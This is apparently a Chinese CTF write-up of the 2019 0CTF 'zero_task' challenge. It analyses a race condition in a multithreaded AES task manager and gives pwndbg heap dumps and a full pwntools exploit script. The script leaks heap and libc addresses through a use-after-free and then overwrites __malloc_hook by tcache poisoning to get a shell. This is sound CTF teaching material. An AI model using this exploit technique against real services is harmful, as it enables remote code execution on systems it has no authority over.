條件競爭利用初體驗---2019-0ctf-zero_task
2019-0ctf-zero_task
前言
前置知識
這道題目是2019-0ctf題目當中最簡單也是分數最低的一道題目,是很正常的node形式的題目,唯一有點特別的就是對於資料的處理呼叫了openssl中的關於AES加解密的函式,加解密步驟如下:
unsigned char key[32] = {1}; unsigned char iv[16] = {0}; unsigned char *inStr = "this is test string"; int inLen = strlen(inStr); int encLen = 0; int outlen = 0; unsigned char encData[1024]; printf("source: %s\n",inStr); //加密 EVP_CIPHER_CTX *ctx; ctx = EVP_CIPHER_CTX_new(); EVP_CipherInit_ex(ctx, EVP_aes_256_ecb(), NULL, key, iv, 1); EVP_CipherUpdate(ctx, encData, &outlen, inStr, inLen); encLen = outlen; EVP_CipherFinal(ctx, encData+outlen, &outlen); encLen += outlen; EVP_CIPHER_CTX_free(ctx); //解密 int decLen = 0; outlen = 0; unsigned char decData[1024]; EVP_CIPHER_CTX *ctx2; ctx2 = EVP_CIPHER_CTX_new(); EVP_CipherInit_ex(ctx2, EVP_aes_256_ecb(), NULL, key, iv, 0); EVP_CipherUpdate(ctx2, decData, &outlen, encData, encLen); decLen = outlen; EVP_CipherFinal(ctx2, decData+outlen, &outlen); decLen += outlen; EVP_CIPHER_CTX_free(ctx2); decData[decLen] = '\0'; printf("decrypt: %s\n",decData);
參考:https://www.cnblogs.com/cocoajin/p/6121706.html
程式邏輯
開啟程式的選單函式,看到函式的基本功能如下:
puts("1. Add task"); puts("2. Delete task"); puts("3. Go"); return printf("Choice: ");
只有三個主要功能,增加節點,刪除節點,Go的功能是根據節點的特徵值對於節點中的資料進行加解密操作。
add
printf("Task id : ", 0LL); id = get_input(); printf("Encrypt(1) / Decrypt(2): ");//有加解密兩種模式 v1 = get_input(); if ( v1 != 1 && v1 != 2 ) return (void *)0xFFFFFFFFLL; s = malloc(0x70uLL); // node空間的大小為0x70 memset(s, 0, 0x70uLL); if ( !(unsigned int)sub_11A8(v1, (__int64)s) ) //功能函式 return (void *)0xFFFFFFFFLL; *((_DWORD *)s + 24) = id; // offset = 0x60 *((_QWORD *)s + 13) = node_202028; // offset = 0x68 result = s; node_202028 = (__int64)s;//將新建立的節點放在bss段裡面,很明瞭,這道題目是通過連結串列維護node節點。
跟進sub_11A8()功能函式,進一步分析功能函式的主要功能。
printf("Key : ", a2); read_F82(v4 + 20, 32);//KEY_offset = 0x14 printf("IV : ", 32LL); read_F82(v4 + 52, 16);//IV_offset = 0x34 printf("Data Size : ", 16LL); size = (unsigned int)get_input(); if ( (signed int)size <= 0 || (signed int)size > 4096 ) return 0LL; *(_QWORD *)(v4 + 8) = (signed int)size;// size_offset = 0x8 *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new(); //ctx_offset = 0x58 if ( a1 == 1 ) { v3 = EVP_aes_256_cbc(); EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52); } else { if ( a1 != 2 ) return 0LL; v3 = EVP_aes_256_cbc(); EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52); } *(_DWORD *)(v4 + 16) = a1;//mark_offset = 0x10 判斷是加密還是解密 *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));//chunk_offset = 0x0 , 分配一個size大小的空間儲存資料 if ( !*(_QWORD *)v4 ) exit(1); printf("Data : ", v3); read_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8)); return 1LL;
Yeah,通過上面的分析,程式結構現在已經可以被我們弄清楚了,如下:
node_struct { 0x0 : chunk 0x8 : size 0x10 : mark 標誌位,記錄加密/解密 0x14 : KEY 0x34 : IV 0x58 : ctx 0x60 : task_id 0x68 : pre_node }
在add的過程當中會進行四次malloc過程:
結構體malloc(0x70): 0x80
EVP_CIPHER_CTX_new(): 建立ctx物件0xb0大小chunk
EVP_EncryptInit_ex/EVP_DecryptInit_ex函式: 建立0x110大小chunk
根據輸入的chunk size的chunk
delete
程式邏輯比較清楚,就是單純的對node連結串列解鏈,然後利用openssl介面對於申請的chunk進行釋放。
ptr = (void **)node_202028; v2 = node_202028; printf("Task id : "); v0 = get_input(); if ( node_202028 && v0 == *(_DWORD *)(node_202028 + 96) ) { node_202028 = *(_QWORD *)(node_202028 + 104); // 解鏈 EVP_CIPHER_CTX_free((__int64)ptr[11]);//呼叫openssl介面釋放chunk free(*ptr); free(ptr); } else { while ( ptr ) { if ( v0 == *((_DWORD *)ptr + 24) ) { *(_QWORD *)(v2 + 104) = ptr[13]; // 解鏈 EVP_CIPHER_CTX_free((__int64)ptr[11]); //呼叫openssl介面釋放chunk free(*ptr); free(ptr); return; } v2 = (__int64)ptr; ptr = (void **)ptr[13]; } } }
GO
這個函式是解題的關鍵函式。
我當初做這道題目的時候並不瞭解條件競爭題目的解法,一直苦苦思索好久而不得解,最後被同隊大佬解出。
int v1; // [rsp+4h] [rbp-1Ch] pthread_t newthread; // [rsp+8h] [rbp-18h] void *arg; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); printf("Task id : "); v1 = get_input(); for ( arg = (void *)node_202028; arg; arg = (void *)*((_QWORD *)arg + 13) ) { if ( v1 == *((_DWORD *)arg + 24) ) { pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);//開闢新執行緒 return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4;
進到start_routine裡面分析程式邏輯
v5 = __readfsqword(0x28u); v2 = (unsigned __int64)a1; v1 = 0; v3 = 0LL; v4 = 0LL; puts("Prepare..."); sleep(2u); // 這就是程式的關鍵所在,sleep 2s中足夠造成條件競爭,進而引起資料的混亂 memset(qword_202030, 0, 0x1010uLL); if ( !(unsigned int)EVP_CipherUpdate( *(_QWORD *)(v2 + 88), (__int64)qword_202030, (__int64)&v1, *(_QWORD *)v2, (unsigned int)*(_QWORD *)(v2 + 8)) ) pthread_exit(0LL); *((_QWORD *)&v2 + 1) += v1; if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) ) pthread_exit(0LL); *((_QWORD *)&v2 + 1) += v1; puts("Ciphertext: "); sub_107B(stdout, (__int64)qword_202030, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);//列印加密/解密 後的資料 pthread_exit(0LL);
程式結構測試
這道題目malloc、free chunk的過程有點特殊,實際測試一下malloc、free的過程,確定一下過程細節,再加深一下資料結構理解。
測試程式碼如下:
def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False): if not go_flag: ru('3. Go') sl('1') ru('id : ') sl(str(idx)) ru('(2): ') sl(str(way)) ru('Key : ') s(key) ru('IV : ') s(IV) ru('Size : ') sl(str(size)) ru('Data : ') s(data) def delete(idx,go_flag=False): if not go_flag: ru('3. Go') sl('2') ru('id : ') sl(str(idx)) add(0,1,size=0x10,data='a'*0x10) add(1,1,size=0x10,data='a'*0x10) delete(0) ru('ice:') sl('3') ru('id :') sl('1')
測試過程就是新增兩個node,然後釋放一個,然後加密一個。
程式剛開始的heap資訊如下:
pwndbg> heap 0x555555757000 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x251, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555757250 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1021, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555758270 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1fd91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, }
增添一個節點,增加了四個chunk,和我們的分析是吻合的。
pwndbg> heap 0x555555757000 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x251, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555757250 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1021, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, } 0x555555758270 FASTBIN { mchunk_prev_size = 0x0, mchunk_size = 0x81, fd = 0x5555557584c0, bk = 0x10, fd_nextsize = 0x3131313100000001, bk_nextsize = 0x3131313131313131, } 0x5555557582f0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0xb1, fd = 0x7ffff7b98620, bk = 0x0, fd_nextsize = 0x1, bk_nextsize = 0x6161616161616161, } 0x5555557583a0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x111, fd = 0x3131313131313131, bk = 0x3131313131313131, fd_nextsize = 0x3131313131313131, bk_nextsize = 0x3131313131313131, } 0x5555557584b0 FASTBIN { mchunk_prev_size = 0x7ffff78126c0, mchunk_size = 0x21, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x0, bk_nextsize = 0x1fb31, } 0x5555557584d0 PREV_INUSE { mchunk_prev_size = 0x0, mchunk_size = 0x1fb31, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0, }
檢視node_chunk詳細資訊,和我們分析的資料結構是吻合的。
0x555555758270: 0x0000000000000000 0x0000000000000081 0x555555758280: 0x00005555557584c0 0x0000000000000010 0x555555758290: 0x3131313100000001 0x3131313131313131 0x5555557582a0: 0x3131313131313131 0x3131313131313131 0x5555557582b0: 0x6161616131313131 0x6161616161616161 0x5555557582c0: 0x0000000061616161 0x0000000000000000 0x5555557582d0: 0x0000000000000000 0x0000555555758300 0x5555557582e0: 0x0000000000000000 0x0000000000000000
delete的時候,同時釋放四個chunk。
pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 1]: 0x555555758280 ◂— 0x0 0xb0 [ 1]: 0x555555758300 ◂— 0x0 0x110 [ 1]: 0x5555557583b0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
進行加解密操時,將操作結果放在指定的最開始申請的chunk中。
利用過程
說明
除錯的exp來自raycp師傅,程式碼很詳盡每一步都有註釋,師傅部落格:https://ray-cp.github.io/
利用流程
1. 剛開始構造幾個node,為我們後面利用做準備。
#gdb.attach(p,'b * 0x555555555724') add(9999,1,size=0x10,data='a'*0x10) #use to get shell. add(999,1,size=0x10,data='a'*0x10) #enc_struct to build fake enc #debug(0x1253) add(99,2,size=0x10,data='a'*0x10) #dec_struct to build fake dec
2. 利用條件競爭洩露heap地址
## step 1 leak heap address add(0,1,size=0x70,data='a'*0x70) add(1,1,size=0x20,data='a'*0x20) #8c50 add(2,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') delete(0) go(1) # 觸發條件競爭 delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20) # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, 1 chunk with size 0x110 for aes algorithm #gdb.attach(p,'b * 0x555555555724') ### leak p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() #print data d = pc.decrypt(data) heap_addr=u64(d[:8]) #print hex(heap_addr) heap_base=heap_addr-0x1be0 enc_struct_addr=heap_base+0x1300 dec_struct_addr=heap_base+0x17c0 print "heap_base",hex(heap_base)
程式碼中利用go(1)開啟新執行緒,進入sleep(2)的等待,在這個等待期間進行了如下操作,
delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20)
此時bins中的結構如下:
tcachebins 0x80 [ 3]: 0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0 ◂— 0x0 0xb0 [ 1]: 0x555555758a20 ◂— 0x0 0x110 [ 1]: 0x555555758ad0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
將要進行加密操作的node節點的地址為0x58c60,現在經過經過操作後,按照加密邏輯,將要被加密並且輸出的是0x555555758be0(0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0),所以我們可以通過接收字串,利用相同的KEY、IV進行解密,得到heap資訊。
後面就是清空bins連結串列
### do some thing clean the tcache list add(6,1,size=0x70,data='a'*0x70,go_flag=True) add(7,1,size=0x70,data='a'*0x70)
3. 洩露libc
## step 2 uaf to leak libc address. ### first free chunk to unsorted bin chunk to get libc address. for i in range(0,7): add(100+i,1,size=0x80,data='a'*0x80) #debug(0x1253) add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address leak_libc_heap=heap_base+0x3b10 add(201,1,size=0x30,data='a'*0x30) # for i in range(0,7): delete(100+i) ### malloc out one chunk with size of 0x80 add(201,1,size=0x70,data='a'*0x70) gdb.attach(p,'b * 0x555555555724') ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 觸發條件競爭 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc 控制0xa8c0的結構 p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() print data d = pc.decrypt(data) libc_addr=u64(d[:8]) #print hex(libc_addr) libc_base=libc_addr-0x3ebca0 print "libc_base",hex(libc_base) rce=libc_base+0x10a38c malloc_hook=libc_base+libc.symbols['__malloc_hook']
洩露libc的步驟就是填滿tcache,然後釋放chunk到unsorted bin中,然後利用uaf偽造chunk內容,列印libc的資訊。
主要來看一下下面幾個關鍵步驟。
### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 觸發條件競爭 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc 控制0xa8c0的結構
首先利用觸發條件競爭,這個node對應的addr為0xa8c0。
然後下面幾步操作控制0xa8c0的內容,使其列印unsortedbin中含有的libc資訊,進行完最後的add操作時,0xa8c0的內容如下。
pwndbg> x/40xg 0x55555575a8c0 0x55555575a8c0: 0x0000000000000000 0x0000000000000081 0x55555575a8d0: 0x000055555575ab10 0x0000000000000010 0x55555575a8e0: 0x3131313100000001 0x3131313131313131 0x55555575a8f0: 0x3131313131313131 0x3131313131313131 0x55555575a900: 0x6161616131313131 0x6161616161616161 0x55555575a910: 0x0000000061616161 0x0000000000000000 0x55555575a920: 0x0000000000000000 0x0000555555758300 0x55555575a930: 0x000000000000000b 0x0000000000000000 0x55555575a940: 0x0000000000000000 0x00000000000000b1 0x55555575a950: 0x00007ffff7b98620 0x0000000000000000 pwndbg> x/4xg 0x000055555575ab00 0x55555575ab00: 0x00007ffff78126c0 0x0000000000000091 0x55555575ab10: 0x00007ffff776dca0 0x000055555575a670 libc_version:2.27 arch:64 tcache_enable:True libc_base:0x7ffff7382000 heap_base:0x555555757000 (0x80) fastbins[6] -> 0x55555575a5f0 (0x80) entries[6] -> 0x55555575a060 -> 0x555555759d90 -> 0x555555759ac0 -> 0x5555557597f0 -> 0x555555759520 (0x90) entries[7] -> 0x55555575a840 -> 0x55555575a570 -> 0x55555575a2a0 -> 0x555555759fd0 -> 0x555555759d00 -> 0x555555759a30 -> 0x555555759760 (0xb0) entries[9] -> 0x55555575a3b0 -> 0x55555575a0e0 -> 0x555555759e10 -> 0x555555759b40 -> 0x555555759870 -> 0x5555557595a0 (0x110) entries[15] -> 0x55555575a460 -> 0x55555575a190 -> 0x555555759ec0 -> 0x555555759bf0 -> 0x555555759920 -> 0x555555759650 top: 0x55555575ae10 last_remainder: 0x0 unsortedbins: <-> 0x55555575ab00 <-> 0x55555575a670
如上便可以將libc的資訊洩露出來。
4. 複寫malloc_hook
## step uaf to write a fastbin chunk ### do some thing to clean the tcache add(100+0,1,size=0x80,data='a'*0x80,go_flag=True) for i in range(1,7): add(100+i,1,size=0x80,data='a'*0x80) gdb.attach(p,'b * 0x555555555724') payload=p64(malloc_hook)*4 payload=pc.encrypt(payload) payload=payload.decode('hex') #debug(0x12f5) payload_addr=heap_base+0x4180 # 0xb180 add(1000,1,size=0x1000,data=payload*(0x1000/len(payload))) add(300,1,size=0x30,data='a'*0x30) add(301,1,size=0x70,data='a'*0x70) #debug(0x14f3) delete(9999) # free the evil evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8) sleep(2) #debug(0x12f5) #haha ,overwrite the malloc_hook to rce add(500,1,size=0x70,data=data)
上述程式碼中比較關鍵的部分就是下面這些
evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8)
執行截止到後,bins連結串列如下
pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 3]: 0x55555575c650 —▸ 0x55555575c190 —▸ 0x555555758280 ◂— 0x0 0xb0 [ 2]: 0x55555575c210 —▸ 0x555555758300 ◂— 0x0 0x110 [ 2]: 0x55555575c2c0 —▸ 0x5555557583b0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
可以看出,下次add()的時候就可以控制0xc180的內容,即之前go(300)的對應的node的內容。
add()之後,控制的node結構如下:
pwndbg> x/50xg 0x55555575c180 0x55555575c180: 0x0000000000000000 0x0000000000000081 0x55555575c190: 0x000055555575b150 0x0000000000001030 0x55555575c1a0: 0x3131313100000001 0x3131313131313131 0x55555575c1b0: 0x3131313131313131 0x3131313131313131 0x55555575c1c0: 0x6161616131313131 0x6161616161616161 0x55555575c1d0: 0x0000000061616161 0x0000000000000000 0x55555575c1e0: 0x0000000000000000 0x00005555557587c0 0x55555575c1f0: 0x000000000000000b 0x0000000000000000 0x55555575c200: 0x0000000000000000 0x00000000000000b1
可以看到,現在我們已經把data_size寫成0x1030個位元組,因為儲存加密/解密資料的chunk之後0x1020個位元組,因此可以造成資料溢位,因為是tcache結構,所以我們可以構造tcache_attack。
最終效果如下:
pwndbg> x/20xg 0x0000555555758250 0x555555758250: 0xeabbc1f8a364c83c 0xfe36a77585673855 0x555555758260: 0x00007ffff776dc30 0x00007ffff776dc30 0x555555758270: 0xeabbc1f8a364c83c 0xfe36a77585673855 0x555555758280: 0x00007ffff776dc30 0x00007ffff776dc30 0x555555758290: 0x3131313100000001 0x3131313131313131 0x5555557582a0: 0x3131313131313131 0x3131313131313131 0x5555557582b0: 0x6161616131313131 0x6161616161616161 0x5555557582c0: 0x0000000061616161 0x0000000000000000 0x5555557582d0: 0x0000000000000000 0x0000555555758300 0x5555557582e0: 0x000000000000270f 0x0000000000000000 pwndbg> bins tcachebins 0x20 [ 1]: 0x5555557584c0 ◂— 0x0 0x80 [ 1]: 0x555555758280 —▸ 0x7ffff776dc30 (__malloc_hook) ◂— 0x0 0xb0 [ 1]: 0x555555758300 ◂— 0x0 0x110 [ 1]: 0x5555557583b0 ◂— 0x0
下面就簡單了 , 簡單的tcache_attack,複寫__malloc_hook最終觸發malloc,get shell。
完整exp
#author : raycp #link: https://ray-cp.github.io/ from pwn import * import sys from Crypto.Cipher import AES from binascii import b2a_hex, a2b_hex DEBUG = 1 if DEBUG: p = process('./zero_task') e = ELF('./zero_task') context.log_level = 'debug' #libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')b0verfl0w libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #p = process(['./reader'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc-2.19.so')}) #libc = ELF('./libc64.so') else: p = remote('111.186.63.201', 10001) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #libc = ELF('libc_64.so.6') wordSz = 4 hwordSz = 2 bits = 32 PIE = 0 mypid=0 def leak(address, size): with open('/proc/%s/mem' % mypid) as mem: mem.seek(address) return mem.read(size) def findModuleBase(pid, mem): name = os.readlink('/proc/%s/exe' % pid) with open('/proc/%s/maps' % pid) as maps: for line in maps: if name in line: addr = int(line.split('-')[0], 16) mem.seek(addr) if mem.read(4) == "\x7fELF": bitFormat = u8(leak(addr + 4, 1)) if bitFormat == 2: global wordSz global hwordSz global bits wordSz = 8 hwordSz = 4 bits = 64 return addr log.failure("Module's base address not found.") sys.exit(1) def debug(addr): global mypid mypid = proc.pidof(p)[0] #raw_input('debug:') with open('/proc/%s/mem' % mypid) as mem: moduleBase = findModuleBase(mypid, mem) print "program_base",hex(moduleBase) gdb.attach(p, "set follow-fork-mode child\nb *" + hex(moduleBase+addr)) class prpcrypt(): def __init__(self, key,iv): self.key = key self.mode = AES.MODE_CBC self.iv = iv def encrypt(self, text): cryptor = AES.new(self.key, self.mode, self.iv) length = 32 count = len(text) if(count % length != 0) : add = length - (count % length) else: add = 0 text = text + ('\0' * add) self.ciphertext = cryptor.encrypt(text) return b2a_hex(self.ciphertext) def decrypt(self, text): cryptor = AES.new(self.key, self.mode, self.iv) plain_text = cryptor.decrypt(a2b_hex(text)) return plain_text.rstrip('\0') def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False): if not go_flag: p.recvuntil('3. Go') p.sendline('1') p.recvuntil('id : ') p.sendline(str(idx)) p.recvuntil('(2): ') p.sendline(str(way)) p.recvuntil('Key : ') p.send(key) p.recvuntil('IV : ') p.send(IV) p.recvuntil('Size : ') p.sendline(str(size)) p.recvuntil('Data : ') p.send(data) def delete(idx,go_flag=False): if not go_flag: p.recvuntil('3. Go') p.sendline('2') p.recvuntil('id : ') p.sendline(str(idx)) def delete1(idx): #p.recvuntil('3. Go') p.sendline('2') p.recvuntil('id : ') p.sendline(str(idx)) def go(idx): p.recvuntil('3. Go') p.sendline('3') p.recvuntil('id : ') p.sendline(str(idx)) def pwn(): pc = prpcrypt('1'*0x20,'a'*0x10) #aes algrithom #gdb.attach(p,'b * 0x555555555724') add(9999,1,size=0x10,data='a'*0x10) #use to get shell. add(999,1,size=0x10,data='a'*0x10) #enc_struct to build fake enc #debug(0x1253) add(99,2,size=0x10,data='a'*0x10) #dec_struct to build fake dec ## step 1 leak heap address add(0,1,size=0x70,data='a'*0x70) add(1,1,size=0x20,data='a'*0x20) #8c50 add(2,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') delete(0) go(1) delete(1,True) delete(2) add(4,1,size=0x20,data='a'*0x20) add(5,1,size=0x20,data='a'*0x20) # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, i don't know somehow there is one more chunk with size 0x110, maybe for aes algorithm #gdb.attach(p,'b * 0x555555555724') ### leak p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() #print data d = pc.decrypt(data) heap_addr=u64(d[:8]) #print hex(heap_addr) heap_base=heap_addr-0x1be0 enc_struct_addr=heap_base+0x1300 dec_struct_addr=heap_base+0x17c0 print "heap_base",hex(heap_base) ### do some thing clean the tcache list add(6,1,size=0x70,data='a'*0x70,go_flag=True) add(7,1,size=0x70,data='a'*0x70) ## step 2 uaf to leak libc address. ### first free chunk to unsorted bin chunk to get libc address. for i in range(0,7): add(100+i,1,size=0x80,data='a'*0x80) #debug(0x1253) add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address leak_libc_heap=heap_base+0x3b10 add(201,1,size=0x30,data='a'*0x30) # for i in range(0,7): delete(100+i) ### malloc out one chunk with size of 0x80 add(201,1,size=0x70,data='a'*0x70) #gdb.attach(p,'b * 0x555555555724') ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200) #debug(0x15c6) go(200) # 0xa8c0 p.recvuntil('Prepare...') #debug(0x14f3) delete(200,True) delete(201) fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0) add(203,1,size=0x70,data=fake_enc) ## the key to leak libc p.recvuntil('text: \n') data=p.recvuntil('\n') data=data.replace(" ",'').strip() print data d = pc.decrypt(data) libc_addr=u64(d[:8]) #print hex(libc_addr) libc_base=libc_addr-0x3ebca0 print "libc_base",hex(libc_base) rce=libc_base+0x10a38c malloc_hook=libc_base+libc.symbols['__malloc_hook'] ## step uaf to write a fastbin chunk ### do some thing to clean the tcache add(100+0,1,size=0x80,data='a'*0x80,go_flag=True) for i in range(1,7): add(100+i,1,size=0x80,data='a'*0x80) #gdb.attach(p,'b * 0x555555555724') payload=p64(malloc_hook)*4 payload=pc.encrypt(payload) payload=payload.decode('hex') #debug(0x12f5) payload_addr=heap_base+0x4180 # 0xb180 add(1000,1,size=0x1000,data=payload*(0x1000/len(payload))) add(300,1,size=0x30,data='a'*0x30) # 0xc180 add(301,1,size=0x70,data='a'*0x70) # 0xc400 #debug(0x14f3) delete(9999) # free the evil evil_addr=heap_base+0x14c0 #0x84b0 global_ptr=evil_addr-0x1260 #0x7260 #debug(0x15c6) go(300) #0xc180 delete(300,go_flag=True) delete(301) add(400,1,size=0x30,data='a'*0x30) fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0) add(401,1,size=0x70,data=fake_dec) ## the key to overwrite the fastbin chunk data=p64(rce)*(0x70/8) #overflow at the aim_heap, to make tacache_attack sleep(2) gdb.attach(p,'b * 0x555555555724') #debug(0x12f5) #haha ,overwrite the malloc_hook to rce add(500,1,size=0x70,data=data) #trigger malloc p.recvuntil('3. Go') p.sendline('1') p.recvuntil('id : ') p.sendline('1') p.recvuntil(':') p.sendline('1') p.interactive() if __name__ == '__main__': pwn() #flag{pl4y_w1th_u4F_ev3ryDay_63a9d2a26f275685665dc02b886b530e}
總結
這是我第一次接觸條件競爭的題目,這題復現完之後看來就是條件競爭最後造成的uaf利用效果。洩露是利用條件競爭後的chunk可以進行進一步的使用,從而洩露想要的資訊;而任意地址寫就比較騷了,利用堆溢位以及tcache的特性進行了tcache_attack。
最近遇到的題目都不是libc-2.23版本了,一般高質量的比賽題目libc版本都是2.27以上,這道題目的利用版本的也是2.27,看來2.23快要退出歷史舞臺了。
再次強調一下,本文除錯的exp是來自raycp師傅,部落格https://ray-cp.github.io/,除錯師傅的程式碼真美滋滋,能學到不少東西,主要的思路算是明白了,但是自己重寫的話可能還要考慮chunk的構造問題,因為最近時間並不是特別充裕,這次就用師傅的exp來學習了。
也參考過其他師傅的exp的思路,但不是通過任意寫來達成利用的,這篇文章裡面介紹了這道題目其實是可以任意地址讀,任意地址寫的,膜一下raycp師傅sao思路。
相關文章
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- 競爭條件入門2024-08-18
- 解決多執行緒競爭條件——臨界區2024-04-23執行緒
- 淺談併發的資料競爭(可見性)與競態條件(原子性)2018-09-23
- 聊天機器人ChatGPT在Go程式中找到競爭條件並修復2022-12-03機器人ChatGPTGo
- [SEEDLab]競態條件漏洞(Race Condition Vulnerability)2021-06-19
- 如何利用親和圖提高企業競爭力?2023-10-16
- Concurrency(三:競態條件和臨界區)2019-03-11
- 轉載:利用大資料創造競爭優勢2019-03-09大資料
- Electron初體驗2024-08-21
- vscode初體驗2024-07-11VSCode
- SpringMVC初體驗2024-06-29SpringMVC
- ollama 初體驗2024-04-04
- laravel初體驗2021-10-12Laravel
- golang 初體驗2021-05-16Golang
- AQS初體驗2019-07-25AQS
- Compose初體驗2020-10-28
- krpano初體驗2020-10-30
- Angular 初體驗2020-05-18Angular
- outline初體驗2019-07-02
- Selenium 初體驗2019-05-23
- Loki 初體驗2020-12-27Loki
- gRPC初體驗2021-04-25RPC
- ReactNative初體驗2019-03-04React
- OpenCV 初體驗2018-11-24OpenCV
- http初體驗2019-03-06HTTP
- Prettier初體驗2019-03-04
- wepy初體驗2018-12-22
- Flutter初體驗2018-04-27Flutter
- Nuxt 初體驗2018-07-22UX
- jQuery初體驗2018-05-19jQuery
- indexedDB 初體驗2018-07-27Index
- Linux 併發與競爭實驗學習2024-06-15Linux
- 電商公司如何利用IP代理獲取競爭優勢?2022-03-01
- web assembly 初體驗2024-10-20Web
- Argo CD初體驗2024-09-08Go
- .Net Aspire初體驗2024-06-23
- Laravel Octane 初體驗2021-04-30Laravel